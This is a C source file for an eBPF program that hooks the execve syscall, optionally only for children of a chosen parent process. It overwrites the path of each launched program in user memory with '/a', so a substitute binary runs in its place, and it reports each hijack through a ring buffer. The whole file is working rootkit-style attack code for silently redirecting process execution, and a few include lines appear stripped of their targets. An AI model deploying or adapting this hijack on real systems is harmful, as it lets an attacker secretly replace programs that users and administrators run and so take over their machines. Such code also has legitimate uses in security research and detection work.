// SPDX-License-Identifier: BSD-3-Clause #include "vmlinux.h" #include #include #include #include "exechijack.h" char LICENSE[] SEC("license") = "Dual BSD/GPL"; // Ringbuffer Map to pass messages from kernel to user struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024); } rb SEC(".maps"); // Optional Target Parent PID const volatile int target_ppid = 0; SEC("tp/syscalls/sys_enter_execve") int handle_execve_enter(struct trace_event_raw_sys_enter *ctx) { size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process of interest if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } // Read in program from first arg of execve char prog_name[TASK_COMM_LEN]; char prog_name_orig[TASK_COMM_LEN]; __builtin_memset(prog_name, '\x00', TASK_COMM_LEN); bpf_probe_read_user(&prog_name, TASK_COMM_LEN, (void*)ctx->args[0]); bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]); prog_name[TASK_COMM_LEN-1] = '\x00'; bpf_printk("[EXECVE_HIJACK] %s\n", prog_name); // Program can't be less than out two-char name if (prog_name[1] == '\x00') { bpf_printk("[EXECVE_HIJACK] program name too small\n"); return 0; } // Attempt to overwrite with hijacked binary path prog_name[0] = '/'; prog_name[1] = 'a'; for (int i = 2; i < TASK_COMM_LEN ; i++) { prog_name[i] = '\x00'; } long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); for (int i = 0; i < TASK_COMM_LEN; i++) { e->comm[i] = prog_name_orig[i]; } bpf_ringbuf_submit(e, 0); } return 0; }